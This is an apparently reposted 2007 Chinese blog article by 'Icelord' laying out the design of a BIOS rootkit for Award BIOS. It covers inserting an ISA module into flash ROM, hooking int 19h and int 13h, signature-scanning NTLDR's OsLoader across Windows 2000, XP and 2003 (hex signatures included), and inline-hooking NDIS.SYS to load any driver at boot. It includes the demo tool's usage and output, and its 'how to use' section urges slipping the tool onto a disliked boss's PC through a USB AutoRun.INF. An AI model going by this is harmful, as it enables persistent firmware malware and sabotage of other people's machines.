• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            BIOS Rootkit:Welcome home,my Lord!

                  [BIOS RootKit:Welcome Home,My Lord!...?]
                               
            [Author ]: Icelord
            [Contact]:
            icelord@sohu.com
            [Data   ]: @2007/04/26->...

                本文介紹一個簡單BIOS rootkit的簡單設計過程
                意在拋磚引玉,期待高手們指點
               
                其中涉及的幾篇文字均可在blog.csdn.net/icelord上找到
               
            http://blog.csdn.net/icelord/archive/2007/05.aspx

            [申明]

            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                本文所涉及到的資料,均來自internet...
                由此造成的后果,與本人無關
                假設您已經了解x86和NT的相關知識。
                內容僅為個人意見。由于時間倉促,很多細節沒有驗證,錯誤很多。
                如果您有不同意見,可聯系
            icelord@sohu.com,歡迎指正。

            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

            [前言]

                這是很早的一個想法了。//那是去聽一位講TPM,很長篇的,
                打瞌睡,于是想怎么破壞那種限制(在一定條件下),自然而然想到了BIOS Coding,
                后來就轉化為BIOS Rootkit...


            [國內外發展狀況]

                ACPI BIOS Rootkit
                PCI Module BIOS Rootkit
                CPU Micro Code...???  
               

                times 3K db 0   ;這里省略3K Bytes


            [rootkit定義]
                google yourself
            [BIOS介紹]
                google yourself
            [BIOS RootKit的優缺點]
                很明顯
            [IcLord BIOSRootkit的組成]

                下面的方法很笨拙,但是我的目的只是讓它能運行起來...
                如果您有好的方法,歡迎指點/交流
               
                (1).Flasher
                (2).BIOS Module
                (3).Bootstrap
                (4).NT RootKit //?

            [問題]
            (1).植入
                如何將rootkit植入到BIOS中...
            (2).啟動
                如何在啟動的過程中執行rootkit的指令...
            (3).切換
                BIOS在OS之前運行,要想啟動OS,需要將CPU控制交還到BootLoader。
                此時,CPU處于RealMode,沒有多任務,沒有VM...
                那么,如何使得我們的RootKit再次獲取CPU?...
            (4).RootKit實體
                怎樣實現Rootkit的功能:hide,shell...
               
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

            [解決方法]
                [流程]
                    ISAModule-->hook BIOS int svc,
                    從而在int svc中再Hook NTLDR!OsLoader.EXE,
                    在NTLDR!OsLoader.EXE中再進行kernel subversion
                   
                    hehe,看起來很簡單,實際遇到的問題那可是相當麻煩啊,follow me,逐個解決
                   
                [目標]
                    該程序能啟動.sys類型的存在的rootkit,也就是能在NT操作系統中啟動.sys(<64KB)文件...
                   
                    BIOS RootKit本身要實現安裝.sys到BIOS中,并在PC啟動時使該.sys在特定的操作系統下生效

            一、如何將代碼植入到BIOS中
               
                [目標]
                將制定的代碼植入到BIOS中,并且在BIOS初始化的末尾獲得運行的機會。
               
                [solution?]
                將代碼植入到BIOS,需要解決以下問題:
                (1).如何修改BIOS,添加自己的代碼
                (2).如何刷新BIOS

                //預備知識:
                //
                //BIOS(Basic Input/Output System)負責初始化各種硬件,Provide Runtime Service,并負責加載并執行BootSector,
                //將CPU轉交OSLoader。當前BIOS Provider主要為Phonix-Award,AMI好像很少(至少在我這里)。
                //BIOS存儲在FlashROM中。
                //FlashROM(快速只讀存儲器)是當前主板、顯卡的BIOS程序的主要存儲介質。
                //FlashROM在一般情況下為只讀,寫無效,即里面存儲的數據無法被修改,而且斷電之后數據仍然保存。
                //FlashROM一般為字節讀取,扇區/塊擦除,byte/sector/page/bulk Program。
                //BIOSROM影射在內存的高端。為防止程序運行時的內存寫入破壞BIOS,一般FlashROM都軟件和硬件保護。
                //
                //FlashROM一般連接在南橋的LPC(Low Pin Count)總線上,南橋芯片有不同的寄存器來控制FlashROM的WE和解碼。
                //
                //[SST 49LFxxx系列的刷新問題]
                //    我不知道SST應用是否廣泛,但至少我這里有幾臺機器都是 SST 49LFXXX系列的FlashROM
                //   
                //    例如,SST 49LFxxx系列FlashROM,這種FlashROM提供SDP(Software data protect)和HDP(Hardware Data protect).
                //    要對FlashROM寫入,需要向FlashROM的特定位置發送特定的指令序列,而且TBL#(Top Boot Lock)和WP#(Write Protect)。
                //    除此之外,還需要設置ICH的BIOS_CNTL和LPC_DEC_EN寄存器...(對ICH4芯片...),Firmware Hub的Block Locking register...
                //
                //[PCI配置寄存器的知識和問題]
                //
                //    不同的主板芯片需要不同的設置,不同的FlashROM需要不同的刷新方法,具體需要看相關的DataSheet和Specification.
               
                BIOS是分模塊的固件程序...
               
                [Award BIOS 6.00PG(2Mb)的結構]
                    見<<awdBIOS 鏡像結構簡單分析>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604122.aspx
                   
               
                [Award 2M BIOS src分析]
                    brief:只是為了了解初始化流程
                    見<<awdBIOS 2M Src簡單分析>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604133.aspx
                   
                   
                [加入ISA模塊和Hook問題]
                    見<<加入ISA模塊和Hook問題>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604151.aspx
                    見<<awdBIOS 數據結構>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604156.aspx
                   

                [效驗和問題]
                    怎樣修復添加模塊后的BIOS的效驗和?
                    見<<關于BIOS效驗和的問題>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604179.aspx
               
                [刷新的問題]
                    [UniFlash源碼分析]
                        很好的開源軟件,
                        見<<UniFlash簡單分析>>
                       
            http://blog.csdn.net/icelord/archive/2007/05/11/1604188.aspx
                    [WinFlash的簡單分析]
                        win平臺的AWD BIOS刷新程序,IDA一下,看看它究竟怎么刷新...
                        見<<WinFlash_AwdFlash簡單分析>>
                       
            http://blog.csdn.net/icelord/archive/2007/05/11/1604209.aspx
                       
                [關于輔助驅動]
                    在NT下刷新BIOS需要讀寫物理內存和/或IO端口,那么怎樣快速的讀寫物理內存和/或IO端口。
                    見<<讀寫物理內存和IO端口>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604229.aspx
                   
                   
                [實際測試方法]
               
                    至少應該有兩臺相似的機器,即FlashROM相同(可拆卸的那種),BIOS相同,以確保在刷新失敗后迅速恢復。
                    你也可以使用BootBlock的功能,用軟盤恢復,不過試驗時讀盤之后就沒了反應...
                   
                    之后你就可以從ISA模塊開始測試了。
               
               
                [問題多多]
               
                    [complex hardware environment]
                   
                    [diferent bios vendor & version]
                   
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 

            二、如何在BIOS/OsLoader中啟動Rootkit

                [目標]
               
                將ring0/ring3 Rootkit隱藏于 BIOS中,并且能夠在用戶選擇操作系統之后開始工作。
                Rootkit以驅動(ring0 okay以后,ring3應該更簡單)的形式存在(其實就是嵌入到 BIOS中)。

                [當前狀態]
                    Location:   BIOS Module
                    Seq:        BIOS POST Section...
                    state:      16Bit Real Mode
                   
                    先看一下x86 PC/(using awdbios)初始化流程
                    >...
                    >BIOS_memsizing..
                    >XXXX   (uncared...)
                    >ISA/PCI Module Init
                    >Int 0x19
                    >MBR
                    >PBR(obr?)
                    >Ntldr
                    >KernelImage/Drivers
                   
                    這時,我們已經能夠在實模式下執行代碼了,而且有BIOS服務可以使用(???)。此時
                操作系統還沒有啟動,沒有文件系統,我們的目標是在操作系統支持下的一個特殊Shell
                程序,所以我們需要放棄CPU將控制轉交到BIOS,使之完成正常初始化。那么如何使我們的
                代碼再次獲得CPU(被運行)?
                    (1).寫文件
                        就是將需要運行的代碼寫入到磁盤文件中(OS 需要且會執行的文件),OS在啟動中
                        再運行此文件,從而獲取執行的機會。
                        很明顯,此方法很復雜,需要很多特殊的環境,特別是文件系統的操作...
                    (2).Hook
                        老方法:Hook BIOS代碼,再在hook代碼中進行多級Hook,從而在運行loader時重新獲取執行
                        的機會。
                        這個方法現在很流行...
               
                注:Nt Loader在啟動中,將使用BIOS服務來讀取所需的磁盤數據,所以直接Hook BIOS服務即可
                實現對 Loader的Hook,獲得再次執行的機會。

                在BIOS ISA模塊中,可以使用BIOS服務(E8_POST?)//此處沒有作深入的測試
                在測試中直接在ISA ROM Init 階段Hook int 13h失敗,所以采用了Hook int 0x19-->hook int 0x13
                的方式,比較羅嗦,但是可以將就著用...
               
                [NTLDR分析]
                    已經有高人分析過了,但是沒看懂,自己按需要記錄了一下,需要知道流程:
                    見<<NTLDR.分析筆記>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604312.aspx
               
                [Signature Code的確定]
                    見<<x HookCode的選擇>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604320.aspx
               
                首先要確保能hook用戶選擇的操作系統,所以要Hook的代碼應該位于KeSelectKernel()函數之后
                其次,當我們Hook的代碼運行時,操作系統內核和BootDriver應已經加載到內存,這樣就會方便
                我們進一步Hook Kernel或者BootDriver,實現向VM32下的切換。要滿足這個條件,要Hook的代碼應該
                在'BlLoadImage(NTOSKRNL)'之后了.
                    其實很簡單。直接從Osloader將控制轉交到NTOSKRNL.EXE處開始向前查找即可
                即從代碼(SystemEntry)(BlLoaderBlock);之前查找。
                考慮到兼容性的問題,即如何適應不同版本的 OsLoader.
                簡單想法是查找CPU控制寄存器相關的指令來Hook,因為通用寄存器很難找到三個版本通用的Hook指令。
                但是Turn On Paging時肯定會用到CR0(/CR3)寄存器。所以直接查找'mov eax,cr0'之類的指令,看是否
                三個版本的OSLOADER.exe中是否有相同的代碼。hehe,運氣不錯,在BlSetupForNT()中找到了三個OSLoader.exe
                都存在的指令,可以說是童叟無欺,基本可用。
               
                代碼如下:
                %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
                [Ref_nt4: \boot]     
                //
                // Mapped hardcoded virtual pointer to the boot processors PCR
                // The virtual pointer comes from the HAL reserved area
                //

                //
                // First zero out any PTEs that may have already been mapped for
                // a SCSI card.
                //

                RtlZeroMemory(HalPT, PAGE_SIZE);
                _asm {
                    mov     eax, cr3                //拿CR3開刀,hehe
                    mov     cr3, eax
                }

                HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].PageFrameNumber = PCR+1;
                HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Valid = 1;
                HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Write = 1;
                RtlZeroMemory((PVOID)KI_USER_SHARED_DATA, PAGE_SIZE);
               
                %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
               
                三個版本的Osloader.exe中斷匯編代碼如下:
                windows 2000 pro
               
                AssembleCode:
                .text:0031F244 010  mov     edi, ds:dword_357670
                .text:0031F24A 010  mov     esi, 400h
                .text:0031F24F 010  mov     ecx, esi
                .text:0031F251 010  xor     eax, eax
                .text:0031F253 010  rep stosd
                .text:0031F255 010  mov     eax, cr3
                .text:0031F258 010  mov     cr3, eax
                .text:0031F25B 010  mov     eax, ds:dword_357670
                .text:0031F260 010  mov     ecx, ds:dword_3324B0
               
                HexCode:
                8B 3D 70 76 35 00
                BE 00 04 00 00
                8B CE
                33 C0
                F3 AB
                0F 20 D8
                0F 22 D8
                A1 70 76 35 00
                8B 0D B0 24 33 00
               
                ---------------------------------------------------------------------------
                windows xp sp2
               
                AssembleCode:
                .text:00428D81 018  mov     edi, dword_46A410
                .text:00428D87 018  mov     ebx, 400h
                .text:00428D8C 018  mov     ecx, ebx
                .text:00428D8E 018  xor     eax, eax
                .text:00428D90 018  rep stosd
                .text:00428D92 018  mov     eax, cr3
                .text:00428D95 018  mov     cr3, eax
                .text:00428D98 018  mov     eax, dword_46A410
                .text:00428D9D 018  add     eax, 7C0h
               
                HexCode:
                8B 3D 10 A4 46 00
                BB 00 04 00 00
                8B CB
                33 C0
                F3 AB
                0F 20 D8
                0F 22 D8
                A1 10 A4 46 00
                05 C0 07 00 00
               
                ---------------------------------------------------------------------------
                windows 2003 sp0
               
                AssembleCode:
                .text:0042C6BD 018  mov     edi, dword_471B90
                .text:0042C6C3 018  mov     ebx, 400h
                .text:0042C6C8 018  mov     ecx, ebx
                .text:0042C6CA 018  xor     eax, eax
                .text:0042C6CC 018  rep stosd
                .text:0042C6CE 018  mov     eax, cr3
                .text:0042C6D1 018  mov     cr3, eax
                .text:0042C6D4 018  mov     eax, dword_471B90
                .text:0042C6D9 018  add     eax, 7C0h
               
                HexCode:
               
                8B 3D 90 1B 47 00
                BB 00 04 00 00
                8B CB
                33 C0
                F3 AB
                0F 20 D8
                0F 22 D8
                A1 90 1B 47 00
                05 C0 07 00 00
               
                ---------------------------------------------------------------------------
               
                Signature Code:
               
                ------------------------------------------------
                8B 3D ** ** ** **       ;mov edi,dword [addr]
                ** 00 04 00 00          ;mov reg,0x400
                8B **                   ;mov ecx,reg
                ------------------------------------------------
                33 C0                   ;xor eax,eax
                F3 AB                   ;rep stosd
                0F 20 D8                ;mov eax,cr3
                0F 22 D8                ;mov cr3,eax
                ------------------------------------------------
                A1 ** ** ** **          ;mov eax,dword [addr]
                ------------------------------------------------
               
                finally:
               
                code={33 c0 f3 ab , 0f 20 d8 0f , 22 d8 a1}
                dword:0xabf3c033,0x0fd8200f,0x??a1d822
               
                or
               
                33
                c0 f3 ab 0f,20 d8 0f 22,d8 a1
               
                ------------------------------------------------
               
                haha,只要在int 0x13中hook上面所示的代碼,即可在用戶選擇操作系統,并且OsLoader.exe
                加載了內核和BootDriver之后獲得執行的機會.那時,你可以再次任意hook Kernel。
               
                為什么搞的這么麻煩?因為我的目的是加載一個額外的驅動。這要求在BootDriver初始化開始時才
                運行的.    
               
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

            三、切換

                [當前狀態]
               
                    當運行到這里時我們處于32Bit PM,Paging的狀態下。
                    EIP位于BlSetupForNt()函數中...,Ntoskrnl.exe>0x8000 0000的位置
                [可否利用OsLoader的內建驅動來寫文件?]
                    這個問題見<<NTLDR內建文件系統驅動分析>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604350.aspx
                    和<<關于在OsLoader.exe中寫文件的問題>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604360.aspx
                [BootBlock問題]
                    怎樣確定內核模塊的加載位置?
                   
                    要Hook kerel或者其它驅動,首先要能夠確定這些模塊在內存中的位置。從上面的Ntldr分析和
                在2K_SRC中可以了解到這樣一個變量BlLoaderBlock,在這個變量中能夠獲取很多信息,包括加載的
                模塊信息鏈表/內存信息鏈表(見NTLDR分析)。那么,怎樣才能找到一個確定BlLoaderBlock的位置的方法,
                而且使得它在三個版本的Osloader.exe中通用?
                    (1).可以使用硬編碼,不同版本的Osloader應該很容易判斷,不同的osloader的BlLoaderBlock使用經驗
                地址即可。
                    (2).使用堆棧。這種方法比較巧妙。
                    由于在OSLoader.exe中很多函數使用了bp-based的函數,即:
                    ...
                    push ebp
                    mov ebp,esp
                    sub esp,xxx
                    ...
                    所以,
                    caller's ebp等于*ebp,如下圖
                   
                    +-----------+ [Low Memory]
                    | local var |
                    +-----------+
                    |    ebp    +---+
                    +-----------+   |     current stack/me
                    |  ret_addr |   | ________________________
                    +-----------+   |
                    |   arg0    |   |
                    +-----------+   |
                    |   arg1    |   |
                    +-----------+   |
                    |   argn    |   |
                    +-----------+   |
                    |   ...     |   |
                    +-----------+   |
                    | local_var |   |
                    +-----------+   |
                    |    ebp    |<--+
                    +-----------+         caller/father_proc
                    |  ret_addr |     __________________________
                    +-----------+
                    |    arg0   |
                    +-----------+
                    |    arg1   |
                    +-----------+
                    |           |   
                    +-----------+ [High Memory]
                    [BP Based Stack Frame]
                   
                    (有點像入門教程了,hehe)
                    所以(*ebp+0x8)-->caller's 1st params
                        (*ebp+0xC)-->caller's 2st params
                    這樣就可以逐級獲取caller的參數。
                   
                    通過分析NTLDR可以發現如下的call path..
                   
                    BlOsLoader(9,Argv,NULL);
                        +-->BlSetupForNt(BlLoaderBlock);
                            +-->OutHookCode here!!!
                   
                    說到這里,應該很明顯了...(你可以通過這個方法獲取NtProcessStartup()的參數BootContextRecord...??/uncared)
                   
                    ---------------------------------------
                    還有一種方法就是應用在call指令中
                    call func_addr
                    那么就可以通過堆棧中的ret_addr取得這條指令地址以及func_addr,hehe,簡單
                   
                    <<>>
                   
                [保留內存映射問題]
                    怎樣確保自己在影射的內存范圍內?按照常規的思路,我們的RootKit將被影射到0x80000000+physAddr.
                    但是,當使用保留內存的時候,這樣的的做法并不可行。在實驗中,初始化時將自己拷貝到了保留內存中,
                    NTOSKRNOL進行BootDriver初始化時跳轉運行,藍屏,罵之,再藍屏...
                    超過4個小時的Win2K/BOCHS安裝,將hook Code該為0xeb 0xfe,中斷,察看虛擬內存,
                    發現保留的內存沒有影射(即640KB的附近區域)。試了好久,沒辦法,暫時有兩種方法:
                    (1).在BlSetupForNT()中,將自己拷貝到其他區域
                    (2).修改BlLoaderBlock中的內存鏈表
                        這種方法比較簡單,內存鏈表中的每塊內存都有屬性,只需要修改內存塊的屬性,即可讓Ntoskrnl在初始化時映射
                    指定的內存區域(到0x8xxx xxxx)。
                    見<<保留內存影射問題>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604362.aspx
                   
                [NDIS.SYS Hook的問題]
                    怎樣Hook?怎樣確保relocate/remap之后仍然有效?
                    開始打算Hook Ntoskrnl.exe,后來決定不妥,我們只需要一個能初始化驅動的機會,
                    所以就hook ndis,在ndis初始化之后再初始化自己的rootkit驅動。
                   
                    這樣做的問題是如何讓NDIS.SYS初始化之后初始化自己的驅動。
                    首先我們的可以知道驅動所在的物理內存,常規計算,加上2G,得到虛擬地址。我們的hookCode也會跳到這個位置。
                    但是,NDIS.SYS初始化時會重新映射到0xFxxx xxxx的位置,會進行重定位。
                    將你的hookCode該為0xeb 0xfe,再截斷ntoskrnl.exe,你就會發現這一點。
                   
                    所以不能直接修改BlLoaderBlock里面對Module的EntryPoint域來達到Hook。
                    實際中使用了 inline hook,這樣我們可以獲取ndis.sys的初始化參數DriverEntry(pDroverObject,pStr_RegPath)
                   
                    部分信息見<<Hook NDIS.SYS入口問題>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604369.aspx
                   
               
                [怎樣初始化自己的Driver/Rootkit(.sys)]
                    部分見<<BootDriver初始化流程>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604387.aspx
                    驅動的初始化很簡單,在<<do all in one exe file>>一文中有詳細的介紹
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx
                    這里使用相同的手法.
                   
                    有些rootkit要Hook Ndis,所以在這里我們先讓NDIS.SYS初始化,然后再初始化我們自己的驅動。
                   
                    因為在跳轉到我們自己的代碼時可以通過[BootBlock問題]section所示的方法,獲取
                    NDIS.SYS在初始化后的EntryPoint和params,直接把它的 DriverEntry()當作普通函數來調用即可。
                    然后,再初始化自己。
                   
                    至于如何加載.sys文件并展開到內存重定位之類的,網上有很多資料,在<<do all *>>里面也有介紹。 
                    見<<do All In One Exe File>>
                   
            http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx
               
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
            四、RootKit實體

                至于rootkit,可以根據自己的需要隨便寫一個.sys文件即可
                [擴展]
                   
                    也可以再次hook ndis,例如hook NDIS_OPEN_BLOCK/NDIS_PROTOCOL_BLOCK之類的,作一個簡單shell
                   
                    或者更簡單點點,釋放一個exe
                   
                    或者利用APC來插入自己的ring3 code到任何一個線程...
                   
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
            五、應用
                寫了一個簡單的demo
                利用此demo,可以將任何<32KB(其實是27KB)的.sys嵌入到AWD BIOS 6*中,并在PC啟動時運行,
                如果進入NT系統,則會在BootDriver初始化過程中運行(IopInitializeBootDrivers階段)
                (確切的說是自NDIS.SYS初始化之后運行)。
               
                測試過的環境:
               
                p4 1.7G 256RAM i845 SST49LF002A(2M) FWH  AWD BIOS 6.00PG
               
                p4 3.2G 512RAM i9xx SST49LF004A(4M) FWH  AWD BIOS 6.00PG
               
                Athlon 2500+ 768RAM Via KT600(?) WinBond xxx(4M)  AWD BIOS 6.00PG
               
                至于其它奇機器,沒條件試
               
                怎么使用:
                如果看領導不爽的話,將 iclord.exe置U盤中,寫一AutoRun.INF,待領導用時殷勤獻上...
                hehe,可以出出氣了,成功的話最好,不成功的話,也能讓他忙N天吧..(刷壞的BIOS,而且 FlashROM焊死到了主板上)
               
                -----------------------
                格式:
                x:\>iclord.exe /install 123.sys   
               
                下面是測試結果:
                Microsoft Windows 2000 [Version 5.00.2195]
                (C) 版權所有 1985-1998 Microsoft Corp.
               
                C:\>iclord
                                ICLord BIOS Rootkit [v8.0 test version]
                ------------------------------------------------------------------------------
                                        >>>>test only!!!<<<<
                ------------------------------------------------------------------------------
                Usage:
                /?                              show this help.
                /dump [bios_image_name]         show info & dump bios image to specific file.
                                                bios image is auto saved as OrigBios.ROM
                /install   [new_payload]        install ICLord BIOS Rootkit[UsingSMIflashing].
                /installex [new_payload]        install ICLord BIOS Rootkit[NotUsingSMI...].
                /view_mem base                  dump physical memory content.
                /info                           show some hardware info...
                /dump_ex                        Generate 'BIOS Image with Payload Included'
                                                From Naive BIOS Without Flash...
                /cbrom_ BiosImage /isa xxx...   this is a Lite CBROM,[to be ...] hehe
                /flash BiosImgeFile             Flash BIOS Image File to BIOS ROM.
                                                Make Sure that bios image is valid!!!!.
               
                Original BIOS ROM is AutoSaved as 'OrigBios.ROM'.
                New BIOS is AutoSaved as 'NewBios.ROM'.
                ------------------------------------------------------------------------------
               
                C:\>iclord /install protextor.sys
                Write 97E Bytes...
                Write 40000 Bytes...
                Name:6A69VM4H.BIN       Type:50000000   Offset:       0 ModuleSize:12AE2
                Name:awardext.rom       Type:407F0000   Offset:   12AE4 ModuleSize:96C8
                Name:CPUCODE.BIN        Type:40010000   Offset:   1C1AD ModuleSize:1024
                Name:ACPITBL.BIN        Type:40030000   Offset:   1D1D2 ModuleSize:17BB
                Name:AwardBmp.bmp       Type:40020000   Offset:   1E98E ModuleSize:30C
                Name:_EN_CODE.BIN       Type:40290000   Offset:   1EC9B ModuleSize:1396
                Name:ANTI_VIR.BIN       Type:40070000   Offset:   20032 ModuleSize:14AB
                Name:cafe.bmp           Type:40000000   Offset:   214DE ModuleSize:492E
                Decompress okay...!!!
                SystemBIOS CRC:AC36
                BIOS Version:Award Modular BIOS v6.00PG
                BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
                BIOS ID:6A69VM4Hd Modular BIOS v6.00PG
                erorr @ load_file()...
                error @ load new payload!!
                Error @ ReplacePayload!!
               
                C:\>iclord /install protector.sys
                Write 97E Bytes...
                Write 40000 Bytes...
                Name:6A69VM4H.BIN       Type:50000000   Offset:       0 ModuleSize:12AE2
                Name:awardext.rom       Type:407F0000   Offset:   12AE4 ModuleSize:96C8
                Name:CPUCODE.BIN        Type:40010000   Offset:   1C1AD ModuleSize:1024
                Name:ACPITBL.BIN        Type:40030000   Offset:   1D1D2 ModuleSize:17BB
                Name:AwardBmp.bmp       Type:40020000   Offset:   1E98E ModuleSize:30C
                Name:_EN_CODE.BIN       Type:40290000   Offset:   1EC9B ModuleSize:1396
                Name:ANTI_VIR.BIN       Type:40070000   Offset:   20032 ModuleSize:14AB
                Name:cafe.bmp           Type:40000000   Offset:   214DE ModuleSize:492E
                Decompress okay...!!!
                SystemBIOS CRC:AC36
                BIOS Version:Award Modular BIOS v6.00PG
                BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
                BIOS ID:6A69VM4Hd Modular BIOS v6.00PG
                Write 8000 Bytes...
                crc8_ex()=0xE9
                crc8_ex()=0x31
                Write 40000 Bytes...
                ................................................................
                Checking BIOS ...
                ................................................................
                BIOS Check Okay!!!>>>>>>
               
                C:\>iclord /info
                Write 97E Bytes...
                Write 40000 Bytes...
                Name:6A69VM4H.BIN       Type:50000000   Offset:       0 ModuleSize:12AE2
                Name:awardext.rom       Type:407F0000   Offset:   12AE4 ModuleSize:96C8
                Name:CPUCODE.BIN        Type:40010000   Offset:   1C1AD ModuleSize:1024
                Name:ACPITBL.BIN        Type:40030000   Offset:   1D1D2 ModuleSize:17BB
                Name:AwardBmp.bmp       Type:40020000   Offset:   1E98E ModuleSize:30C
                Name:_EN_CODE.BIN       Type:40290000   Offset:   1EC9B ModuleSize:1396
                Name:ANTI_VIR.BIN       Type:40070000   Offset:   20032 ModuleSize:14AB
                Name:cafe.bmp           Type:40000000   Offset:   214DE ModuleSize:492E
                Name:leaving.bin        Type:40A40000   Offset:   25E0D ModuleSize:12C5
                Decompress okay...!!!
                SystemBIOS CRC:AC36
                BIOS Version:Award Modular BIOS v6.00PG
                BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
                BIOS ID:6A69VM4Hd Modular BIOS v6.00PG

                注:
                    (1)protector.sys是一個rootkit(我也不知道是干什么的,從rootkit.com上下載的,
                    會創建一個
            \\Device\\Protector的設備...用自己的驅動文件IO_HLPER.SYS也測試
                    成功)
                    (2)觀察BIOS模塊,多出來的leaving.bin就是我們的bootstrap,ISA Module...
                    是整個rootkit的主體。
                   
                再次啟動機器時,進入Windows后,用winobj查看,就可以發現
            \\Device\\protector
                個設備.
                如果需要查看詳細信息
                可以按F8選擇*安全模式,這樣leaving.bin的信息會在NT啟動過程中顯示在屏幕上
                (使用了0xB8000來顯示,所以正常啟動時(VESA模式)看不到)
               
                測試過三個系統:
                >win2k sp0 with SST49LF002A
                >winxp SP2 with SST49LF002A
                >win2003 SP0 with SST49LF004A
               
                -----------------
                下面測試的leaving.bin,通過,沒有用icelord.exe來測試..
                (tools:winflash+cbrom215.exe,payload = leaving.bin)
                >winxp SP2 with with winbond xxx(512KB 6.00PG)
               
               
                本來打算寫個默認的NDIS BackDoor,不過有些問題沒有解決,就拿protector.sys當作默
                認的payload了...
                待高手指點。
               
                注:
                    leaving.bin為ISA模塊,使用NASM和DJGPP編寫,可附加小于27KB的.sys文件(其實
                    可以為64KB total,暫時用0x8000大小)
                    iclord.exe內嵌驅動IO_HLPER.SYS和Leaving.bin...
                    很簡單吧?
               
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
            六、總結
               
                由于PC機的硬件和軟件環境復雜,這樣的RootKit只能在一部分機器上跑。
                加上新的EFI應用,Vista的推廣,立足之地那是少的可憐...
               
                其實你可以把rootkit做成虛擬機,讓NT跑在虛擬機之上,開個玩笑...  
               
               
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

            七、參考/thanks

                [Rference]
                   
                    a lot...enum @ blog.csdn.net/icelord
               
               
                [Thanks]
               
                    a lot...enum @ blog.csdn.net/icelord

            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
            八、Demo下載

                估計看到這里也沒明白是怎么回事的人很多吧...
                沒辦法,本人語文水平就這樣,"這輩子就吃了沒文化的苦了"...
               
                如果您有不同見解,mail to:icelord@sohu.com
               
                下載頁面:
               
            http://blog.csdn.net/icelord/archive/2007/05/11/1604796.aspx
               
                如果您有興趣測試demo,可通過上面的下載頁面來獲取...
                至于src,mail to:icelord@sohu.com
               
                請勿用于非法途徑,本文僅作技術交流之用!
               
                //廣告空間:seeking a job / currently (hehe,用心比較險惡)
               
            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

            posted on 2007-05-23 19:35 葉子 閱讀(503) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

